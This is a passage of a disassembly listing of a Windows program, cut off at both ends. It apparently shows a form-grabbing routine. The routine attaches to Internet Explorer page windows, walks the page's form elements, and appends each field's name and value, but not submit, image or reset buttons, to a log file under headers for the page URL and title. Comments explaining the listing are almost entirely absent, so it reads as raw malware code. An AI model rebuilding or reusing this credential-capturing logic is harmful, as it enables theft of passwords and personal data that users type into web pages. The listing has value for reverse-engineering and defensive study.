		xor	ebx, ebx

loc_405E48:				; CODE XREF: sub_405DE6+59j
		inc	eax
		cmp	eax, ecx
		jb	short loc_405E2C

loc_405E4D:				; CODE XREF: sub_405DE6+44j
		add	[ebp+var_4], ecx
		push	0
		push	dword ptr [esi]
		call	edi	; GetFileSize
		cmp	[ebp+var_4], eax
		jb	short loc_405E05

loc_405E5B:				; CODE XREF: sub_405DE6+1Dj
					; sub_405DE6+3Bj
		xor	eax, eax

loc_405E5D:				; CODE XREF: sub_405DE6+5Ej
		pop	edi
		pop	ebx
		leave
		retn	8
sub_405DE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E63	proc near		; CODE XREF: .text:00407B14p
					; .text:00408227p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		xor	edi, edi
		push	edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		mov	[esi], edi
		mov	[esi+4], edi
		call	ds:dword_4292F4
		test	eax, eax
		jl	short loc_405EBC
		lea	ecx, [ebp+var_4]
		push	ecx
		xor	eax, eax
		push	offset dword_42FE7C
		inc	eax
		push	eax
		push	edi
		push	offset dword_42FE8C
		mov	[esi+4], eax
		call	ds:dword_4292F8
		test	eax, eax
		jl	short loc_405EBC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_405EBC
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]

loc_405EBC:				; CODE XREF: sub_405E63+1Cj
					; sub_405E63+3Cj ...
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_405EC9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_405EC9:				; CODE XREF: sub_405E63+5Ej
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		pop	edi
		jz	short loc_405ED7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_405ED7:				; CODE XREF: sub_405E63+6Cj
		mov	eax, esi
		leave
		retn
sub_405E63	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EDB	proc near		; CODE XREF: .text:00407B55p
					; .text:00407BFEp ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_405EE7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_405EE7:				; CODE XREF: sub_405EDB+4j
		cmp	dword ptr [esi+4], 0
		jz	short locret_405EF3
		jmp	ds:dword_4292FC
; ---------------------------------------------------------------------------

locret_405EF3:				; CODE XREF: sub_405EDB+10j
		retn
sub_405EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EF4	proc near		; CODE XREF: .text:00407B28p
					; .text:0040823Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [eax]
		test	eax, eax
		jz	loc_405FAF
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		xor	ebx, ebx
		call	dword ptr [ecx+48h]
		test	eax, eax
		jl	short loc_405F90
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_42FE5C
		push	1
		push	ebx
		push	offset dword_42FE6C
		call	ds:dword_4292F8
		test	eax, eax
		jl	short loc_405F90
		push	esi
		push	[ebp+arg_8]
		call	ds:dword_4291D8
		mov	esi, eax
		test	esi, esi
		jz	short loc_405F8F
		movzx	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+38h]
		test	eax, eax
		jl	short loc_405F88
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		test	eax, eax
		jl	short loc_405F88
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	short loc_405F88
		mov	eax, [ebp+var_8]
		push	[ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	short loc_405F88
		inc	ebx

loc_405F88:				; CODE XREF: sub_405EF4+63j
					; sub_405EF4+73j ...
		push	esi
		call	ds:dword_4291D4

loc_405F8F:				; CODE XREF: sub_405EF4+51j
		pop	esi

loc_405F90:				; CODE XREF: sub_405EF4+26j
					; sub_405EF4+41j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_405F9D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_405F9D:				; CODE XREF: sub_405EF4+A1j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_405FAA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_405FAA:				; CODE XREF: sub_405EF4+AEj
		mov	eax, ebx
		pop	ebx
		jmp	short locret_405FB1
; ---------------------------------------------------------------------------

loc_405FAF:				; CODE XREF: sub_405EF4+9j
		xor	eax, eax

locret_405FB1:				; CODE XREF: sub_405EF4+B9j
		leave
		retn	0Ch
sub_405EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_405FB5	proc near		; CODE XREF: sub_40716D+12p
					; sub_40716D+25p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	10h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41D290
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_405FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FCD	proc near		; CODE XREF: sub_406033+2Bp
					; sub_4095A8+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		push	offset dword_431200
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41E4BE
		int	3		; Trap to Debugger
sub_405FCD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405FE5	proc near		; CODE XREF: sub_4070F6:loc_407118p
		test	esi, esi
		jnz	short loc_405FEC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_405FEC:				; CODE XREF: sub_405FE5+2j
		test	edi, edi
		jz	short loc_405FF6
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]

loc_405FF6:				; CODE XREF: sub_405FE5+9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_406002
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406002:				; CODE XREF: sub_405FE5+15j
		mov	[esi], edi
		mov	eax, edi
		retn
sub_405FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_406007	proc near		; CODE XREF: sub_406B3F+27Bp

arg_0		= dword	ptr  4

		test	esi, esi
		jnz	short loc_40600F
		xor	eax, eax
		jmp	short locret_406030
; ---------------------------------------------------------------------------

loc_40600F:				; CODE XREF: sub_406007+2j
		push	edi
		mov	edi, [esi]
		and	dword ptr [esi], 0
		test	eax, eax
		jz	short loc_406023
		mov	ecx, [eax]
		push	esi
		push	[esp+8+arg_0]
		push	eax
		call	dword ptr [ecx]

loc_406023:				; CODE XREF: sub_406007+10j
		test	edi, edi
		jz	short loc_40602D
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]

loc_40602D:				; CODE XREF: sub_406007+1Ej
		mov	eax, [esi]
		pop	edi

locret_406030:				; CODE XREF: sub_406007+6j
		retn	4
sub_406007	endp


; =============== S U B	R O U T	I N E =======================================



sub_406033	proc near		; CODE XREF: sub_4060DC+341p
					; sub_4060DC+353p

arg_0		= dword	ptr  4

		mov	eax, [esi]
		cmp	[esp+arg_0], eax
		jz	short loc_406066
		push	eax
		call	ds:dword_4291D4
		cmp	[esp+arg_0], 0
		jz	short loc_406063
		push	[esp+arg_0]
		call	ds:dword_4291D8
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_406066
		push	8007000Eh
		call	sub_405FCD

loc_406063:				; CODE XREF: sub_406033+14j
		and	dword ptr [esi], 0

loc_406066:				; CODE XREF: sub_406033+6j
					; sub_406033+24j
		mov	eax, esi
		retn	4
sub_406033	endp

; ---------------------------------------------------------------------------

loc_40606B:				; CODE XREF: .text:004279B4j
					; .text:00427A56j ...
		push	dword ptr [eax]
		call	ds:dword_4291D4
		retn
; ---------------------------------------------------------------------------

loc_406074:				; CODE XREF: .text:00427976j
					; .text:0042797Ej ...
		push	ecx
		call	ds:dword_4291CC
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40607C	proc near		; CODE XREF: sub_4060DC+180p
					; sub_406B3F+208p

arg_0		= dword	ptr  4

		cmp	word ptr [esi],	3
		jz	short loc_40608E
		push	esi
		call	ds:dword_4291CC
		mov	word ptr [esi],	3

loc_40608E:				; CODE XREF: sub_40607C+4j
		mov	eax, [esp+arg_0]
		mov	[esi+8], eax
		mov	eax, esi
		retn	4
sub_40607C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40609A	proc near		; CODE XREF: sub_406A96+5Ap
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	dword ptr [esi], offset	off_42FECC
		mov	[esi+10h], eax
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn
sub_40609A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4060B7	proc near		; DATA XREF: .text:off_42FECCo
		push	esi
		mov	esi, ecx

loc_4060BA:				; CODE XREF: sub_4060B7+23j
		mov	eax, [esi+10h]
		push	0
		push	0
		push	8000h
		push	dword ptr [eax+8]
		call	ds:dword_4291FC	; PostThreadMessageA
		push	1388h
		call	ds:dword_429084	; Sleep
		jmp	short loc_4060BA
sub_4060B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060DC	proc near		; DATA XREF: sub_4071F6+49o
		mov	eax, offset loc_427B5B
		call	sub_41E550
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		push	40h
		lea	eax, [ebp-11Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_429208	; GetClassNameA
		lea	eax, [ebp-11Ch]
		push	offset aInternetExplor ; "Internet Explorer_Server"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406983
		xor	esi, esi
		mov	[ebp-10h], esi
		lea	eax, [ebp-98h]
		push	eax
		push	3E8h
		push	esi
		push	esi
		push	esi
		mov	[ebp-4], esi
		push	ds:dword_435F48
		push	dword ptr [ebp+8]
		call	ds:dword_42923C	; SendMessageTimeoutA
		mov	eax, ds:dword_435F50
		cmp	eax, esi
		jz	loc_406972
		lea	ecx, [ebp-10h]
		push	ecx
		push	esi
		push	offset dword_429408
		push	dword ptr [ebp-98h]
		call	eax
		test	eax, eax
		jl	loc_406972
		and	[ebp-14h], esi
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-14h]
		push	edx
		push	eax
		call	dword ptr [ecx+1B0h]
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-9Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		push	dword ptr [ebp-9Ch]
		push	offset dword_435D48
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406961
		xor	edi, edi
		mov	[ebp-18h], edi
		mov	esi, ds:dword_4291C8
		lea	eax, [ebp-80h]
		push	eax
		call	esi
		lea	eax, [ebp-70h]
		push	eax
		call	esi
		mov	byte ptr [ebp-4], 4
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		lea	edx, [ebp-18h]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	loc_406A42
		mov	eax, [ebp-18h]
		mov	ecx, [eax]
		lea	edx, [ebp-8Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_406A42
		cmp	[ebp-8Ch], edi
		mov	ebx, ds:dword_4291D4
		jnz	short loc_406229
		mov	eax, [ebp-14h]
		cmp	eax, edi
		jz	short loc_406210
		mov	[ebp-14h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406210:				; CODE XREF: sub_4060DC+129j
		mov	eax, [ebp-18h]
		cmp	eax, edi
		jz	loc_4062BF
		mov	[ebp-18h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4062BF
; ---------------------------------------------------------------------------

loc_406229:				; CODE XREF: sub_4060DC+122j
		mov	[ebp-88h], edi

loc_40622F:				; CODE XREF: sub_4060DC+7ADj
		mov	eax, [ebp-8Ch]
		cmp	[ebp-88h], eax
		jge	loc_40693E
		mov	eax, [ebp-10h]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_406253
		mov	[ebp-10h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406253:				; CODE XREF: sub_4060DC+16Cj
		push	dword ptr [ebp-88h]
		lea	esi, [ebp-80h]
		call	sub_40607C
		mov	eax, [ebp-18h]
		mov	ecx, [eax]
		lea	edx, [ebp-70h]
		push	edx
		lea	edx, [ebp-80h]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	loc_406A42
		mov	eax, [ebp-14h]
		cmp	eax, edi
		jz	short loc_40628A
		mov	[ebp-14h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40628A:				; CODE XREF: sub_4060DC+1A3j
		mov	eax, [ebp-68h]
		cmp	eax, edi
		jz	short loc_4062A7
		mov	ecx, [eax]
		lea	edx, [ebp-14h]
		push	edx
		push	offset loc_4293F8
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_406A42

loc_4062A7:				; CODE XREF: sub_4060DC+1B3j
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		lea	edx, [ebp-10h]
		push	edx
		push	eax
		call	dword ptr [ecx+0D0h]
		test	eax, eax
		jl	loc_406A42

loc_4062BF:				; CODE XREF: sub_4060DC+139j
					; sub_4060DC+148j
		mov	[ebp-28h], edi
		mov	byte ptr [ebp-4], 5
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-28h]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_406865
		mov	eax, [ebp-28h]
		mov	ecx, [eax]
		lea	edx, [ebp-90h]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	loc_40692D
		and	dword ptr [ebp-44h], 0
		cmp	dword ptr [ebp-90h], 0
		jle	loc_406865

loc_406304:				; CODE XREF: sub_4060DC+3B7j
		xor	eax, eax
		mov	[ebp-24h], eax
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-44h]
		mov	word ptr [ebp-0ACh], 3
		mov	[ebp-0A4h], eax
		mov	word ptr [ebp-0DCh], 3
		mov	[ebp-0D4h], eax
		mov	byte ptr [ebp-4], 0Ah
		lea	edx, [ebp-24h]
		push	edx
		sub	esp, 10h
		mov	edi, esp
		mov	eax, [ebp-28h]
		lea	esi, [ebp-0ACh]
		movsd
		movsd
		mov	ecx, [eax]
		movsd
		movsd
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp-0DCh]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+2Ch]
		mov	esi, ds:dword_4291CC
		test	eax, eax
		lea	eax, [ebp-0DCh]
		push	eax
		setl	byte ptr [ebp+0Bh]
		call	esi
		lea	eax, [ebp-0ACh]
		push	eax
		mov	byte ptr [ebp-4], 8
		call	esi
		cmp	byte ptr [ebp+0Bh], 0
		jnz	loc_4068FA
		mov	eax, [ebp-24h]
		xor	edi, edi
		cmp	eax, edi
		jz	loc_406454
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	offset dword_42FEBC
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		mov	eax, [ebp-24h]
		cmp	eax, edi
		jz	short loc_4063B8
		mov	[ebp-24h], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4063B8:				; CODE XREF: sub_4060DC+2D1j
		cmp	esi, edi
		jl	loc_406454
		mov	[ebp-34h], edi
		mov	byte ptr [ebp-4], 0Bh
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-34h]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_4069F9
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	byte ptr [ebp-4], 0Dh
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-30h]
		push	edx
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_4069EF
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-2Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+70h]
		test	eax, eax
		jl	loc_4069EF
		cmp	[ebp-2Ch], edi
		jnz	short loc_406422
		push	offset aNull_0	; "(null)"
		lea	esi, [ebp-2Ch]
		call	sub_406033

loc_406422:				; CODE XREF: sub_4060DC+337j
		cmp	[ebp-30h], edi
		jnz	short loc_406434
		push	offset aNull_0	; "(null)"
		lea	esi, [ebp-30h]
		call	sub_406033

loc_406434:				; CODE XREF: sub_4060DC+349j
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp-2Ch]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40649E
		push	dword ptr [ebp-30h]
		call	ebx
		push	dword ptr [ebp-2Ch]
		call	ebx
		push	dword ptr [ebp-34h]
		call	ebx

loc_406454:				; CODE XREF: sub_4060DC+2B6j
					; sub_4060DC+2DEj
		mov	byte ptr [ebp-4], 7
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_406465
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406465:				; CODE XREF: sub_4060DC+381j
		mov	byte ptr [ebp-4], 6
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jz	short loc_406476
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406476:				; CODE XREF: sub_4060DC+392j
		mov	byte ptr [ebp-4], 5
		mov	eax, [ebp-24h]
		cmp	eax, edi
		jz	short loc_406487
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406487:				; CODE XREF: sub_4060DC+3A3j
		inc	dword ptr [ebp-44h]
		mov	eax, [ebp-44h]
		cmp	eax, [ebp-90h]
		jl	loc_406304
		jmp	loc_406865
; ---------------------------------------------------------------------------

loc_40649E:				; CODE XREF: sub_4060DC+367j
		mov	[ebp-3Ch], edi
		mov	[ebp-38h], edi
		push	offset aA	; "a"
		mov	byte ptr [ebp-4], 0Fh
		call	sub_404ADB
		push	eax
		call	sub_41D3D4
		pop	ecx
		pop	ecx
		lea	edx, [ebp-3Ch]
		mov	[ebp-58h], eax
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	loc_4069E5
		mov	eax, [ebp-10h]
		mov	ecx, [eax]
		lea	edx, [ebp-38h]
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]
		test	eax, eax
		push	dword ptr [ebp-38h]
		jl	loc_4069E8
		push	dword ptr [ebp-3Ch]
		push	offset aSS	; " [%S]\r\n<%S>\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		mov	eax, [ebp-1Ch]
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_406510
		mov	[ebp-1Ch], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406510:				; CODE XREF: sub_4060DC+429j
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-1Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	loc_4069E5
		mov	[ebp-4Ch], edi
		lea	edx, [ebp-4Ch]
		push	edx
		mov	byte ptr [ebp-4], 10h
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	offset dword_42FEAC
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_4069D4
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-94h]
		push	edx
		push	eax
		call	dword ptr [ecx+6Ch]
		test	eax, eax
		jl	loc_4069D4
		cmp	[ebp-94h], edi
		mov	[ebp-84h], edi
		jle	loc_4067F0

loc_40656F:				; CODE XREF: sub_4060DC+70Cj
		xor	eax, eax
		mov	[ebp-40h], eax
		mov	[ebp-48h], eax
		mov	[ebp-50h], eax
		mov	eax, [ebp-84h]
		mov	word ptr [ebp-0CCh], 3
		mov	[ebp-0C4h], eax
		mov	word ptr [ebp-0BCh], 3
		mov	[ebp-0B4h], eax
		mov	byte ptr [ebp-4], 15h
		lea	edx, [ebp-40h]
		push	edx
		sub	esp, 10h
		mov	edi, esp
		mov	eax, [ebp-1Ch]
		lea	esi, [ebp-0CCh]
		movsd
		movsd
		mov	ecx, [eax]
		movsd
		movsd
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp-0BCh]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+74h]
		mov	esi, ds:dword_4291CC
		test	eax, eax
		lea	eax, [ebp-0BCh]
		push	eax
		setl	byte ptr [ebp+0Bh]
		call	esi
		lea	eax, [ebp-0CCh]
		push	eax
		mov	byte ptr [ebp-4], 13h
		call	esi
		cmp	byte ptr [ebp+0Bh], 0
		jnz	loc_40689D
		mov	eax, [ebp-40h]
		test	eax, eax
		jz	loc_4067A3
		mov	ecx, [eax]
		lea	edx, [ebp-48h]
		push	edx
		push	offset dword_42FEBC
		push	eax
		call	dword ptr [ecx]
		lea	edx, [ebp-50h]
		push	edx
		mov	esi, eax
		mov	eax, [ebp-40h]
		mov	ecx, [eax]
		push	offset dword_42FE9C
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		mov	eax, [ebp-40h]
		test	eax, eax
		jz	short loc_406638
		and	dword ptr [ebp-40h], 0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406638:				; CODE XREF: sub_4060DC+550j
		xor	eax, eax
		cmp	esi, eax
		jl	loc_40671B
		mov	[ebp-44h], eax
		mov	[ebp-54h], eax
		mov	[ebp+8], eax
		mov	byte ptr [ebp-4], 18h
		mov	eax, [ebp-48h]
		mov	ecx, [eax]
		lea	edx, [ebp+8]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_40688E
		push	offset aSubmit	; "submit"
		push	dword ptr [ebp+8]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40670C
		push	offset aImage	; "image"
		push	dword ptr [ebp+8]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40670C
		push	offset aReset	; "reset"
		push	dword ptr [ebp+8]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40670C
		mov	eax, [ebp-48h]
		mov	ecx, [eax]
		lea	edx, [ebp-44h]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		test	eax, eax
		jl	loc_40688E
		mov	eax, [ebp-48h]
		mov	ecx, [eax]
		lea	edx, [ebp-54h]
		push	edx
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_40688E
		cmp	dword ptr [ebp-54h], 0
		jz	short loc_4066F6
		push	dword ptr [ebp-54h]
		call	ds:dword_4291D0
		cmp	eax, 96h
		jbe	short loc_4066F6
		push	dword ptr [ebp-44h]
		push	offset aSTooLong ; "  %S = (too	long)\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		add	esp, 0Ch
		jmp	short loc_40670C
; ---------------------------------------------------------------------------

loc_4066F6:				; CODE XREF: sub_4060DC+5F3j
					; sub_4060DC+603j
		push	dword ptr [ebp-54h]
		push	dword ptr [ebp-44h]
		push	offset aSS_0	; "  %S	= %S\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		add	esp, 10h

loc_40670C:				; CODE XREF: sub_4060DC+599j
					; sub_4060DC+5B0j ...
		push	dword ptr [ebp+8]
		call	ebx
		push	dword ptr [ebp-54h]
		call	ebx
		push	dword ptr [ebp-44h]
		call	ebx

loc_40671B:				; CODE XREF: sub_4060DC+560j
		test	edi, edi
		jl	loc_4067A3
		xor	edi, edi
		mov	[ebp-60h], edi
		mov	[ebp-5Ch], edi
		mov	byte ptr [ebp-4], 1Ah
		mov	eax, [ebp-50h]
		mov	ecx, [eax]
		lea	edx, [ebp-60h]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		test	eax, eax
		jl	loc_406997
		mov	eax, [ebp-50h]
		mov	ecx, [eax]
		lea	edx, [ebp-5Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+50h]
		test	eax, eax
		jl	loc_406997
		cmp	[ebp-5Ch], edi
		jz	short loc_406783
		push	dword ptr [ebp-5Ch]
		call	ds:dword_4291D0
		cmp	eax, 96h
		jbe	short loc_406783
		push	dword ptr [ebp-60h]
		push	offset aSTooLong ; "  %S = (too	long)\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		add	esp, 0Ch
		jmp	short loc_406799
; ---------------------------------------------------------------------------

loc_406783:				; CODE XREF: sub_4060DC+680j
					; sub_4060DC+690j
		push	dword ptr [ebp-5Ch]
		push	dword ptr [ebp-60h]
		push	offset aSS_0	; "  %S	= %S\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		add	esp, 10h

loc_406799:				; CODE XREF: sub_4060DC+6A5j
		push	dword ptr [ebp-5Ch]
		call	ebx
		push	dword ptr [ebp-60h]
		call	ebx

loc_4067A3:				; CODE XREF: sub_4060DC+522j
					; sub_4060DC+641j
		mov	byte ptr [ebp-4], 12h
		mov	eax, [ebp-50h]
		test	eax, eax
		jz	short loc_4067B4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4067B4:				; CODE XREF: sub_4060DC+6D0j
		mov	byte ptr [ebp-4], 11h
		mov	eax, [ebp-48h]
		test	eax, eax
		jz	short loc_4067C5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4067C5:				; CODE XREF: sub_4060DC+6E1j
		mov	byte ptr [ebp-4], 10h
		mov	eax, [ebp-40h]
		test	eax, eax
		jz	short loc_4067D6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4067D6:				; CODE XREF: sub_4060DC+6F2j
		inc	dword ptr [ebp-84h]
		mov	eax, [ebp-84h]
		cmp	eax, [ebp-94h]
		jl	loc_40656F
		xor	edi, edi

loc_4067F0:				; CODE XREF: sub_4060DC+48Dj
		push	offset asc_42FF68 ; "\r\n"
		push	dword ptr [ebp-58h]
		call	sub_41D3E7
		push	dword ptr [ebp-58h]
		call	sub_41D4C3
		mov	byte ptr [ebp-4], 0Fh
		mov	eax, [ebp-4Ch]
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_406819
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406819:				; CODE XREF: sub_4060DC+735j
		push	dword ptr [ebp-38h]
		call	ebx
		push	dword ptr [ebp-3Ch]
		call	ebx
		push	dword ptr [ebp-30h]
		call	ebx
		push	dword ptr [ebp-2Ch]
		call	ebx
		push	dword ptr [ebp-34h]
		call	ebx
		mov	byte ptr [ebp-4], 7
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_406843
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406843:				; CODE XREF: sub_4060DC+75Fj
		mov	byte ptr [ebp-4], 6
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jz	short loc_406854
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406854:				; CODE XREF: sub_4060DC+770j
		mov	byte ptr [ebp-4], 5
		mov	eax, [ebp-24h]
		cmp	eax, edi
		jz	short loc_406865
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406865:				; CODE XREF: sub_4060DC+1F9j
					; sub_4060DC+222j ...
		mov	byte ptr [ebp-4], 4
		cmp	dword ptr [ebp-8Ch], 0
		mov	eax, [ebp-28h]
		jz	loc_406934
		test	eax, eax
		jz	short loc_406883
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406883:				; CODE XREF: sub_4060DC+79Fj
		inc	dword ptr [ebp-88h]
		jmp	loc_40622F
; ---------------------------------------------------------------------------

loc_40688E:				; CODE XREF: sub_4060DC+582j
					; sub_4060DC+5D4j ...
		push	dword ptr [ebp+8]
		call	ebx
		push	dword ptr [ebp-54h]
		call	ebx
		push	dword ptr [ebp-44h]
		call	ebx

loc_40689D:				; CODE XREF: sub_4060DC+517j
		mov	byte ptr [ebp-4], 12h
		mov	eax, [ebp-50h]
		test	eax, eax
		jz	short loc_4068AE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4068AE:				; CODE XREF: sub_4060DC+7CAj
		mov	byte ptr [ebp-4], 11h
		mov	eax, [ebp-48h]
		test	eax, eax
		jz	short loc_4068BF
